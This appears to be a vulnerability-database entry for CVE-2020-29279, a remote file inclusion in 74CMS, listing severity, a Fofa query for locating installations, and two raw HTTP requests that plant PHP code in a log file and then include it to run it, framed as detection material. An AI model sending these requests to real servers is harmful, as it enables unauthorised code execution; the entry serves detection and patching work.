🔙 목록으로 돌아가기

CVE-2020-29279: 74CMS - Remote File Inclusion

Title74CMS - Remote File Inclusion
AuthorDhiyaneshDK
SeverityCritical
ImpactRemote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
RemediationUpdate to version 6.0.48 or later.
CVSS Score9.8
EPSS Score0.49028
CVE IDCVE-2020-29279
Fofa Queryapp="骑士-74CMS"
Tags cve cve2020 74cms rce intrusive file-upload vkev vuln

🔍 Vulnerability Description

PHP remote file inclusion in the assign_resume_tpl method in Application/Common/Controller/BaseController.class.php in 74CMS before 6.0.48 allows remote code execution.

🌐 HTTP Request

POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; arm64 Mac OS X 12_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

variable=1&tpl=<?php phpinfo(); echo md5("2819");ob_flush();?>
POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

variable=1&tpl=data/Runtime/Logs/Home/26_01_14.log

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-29279.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-29279.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A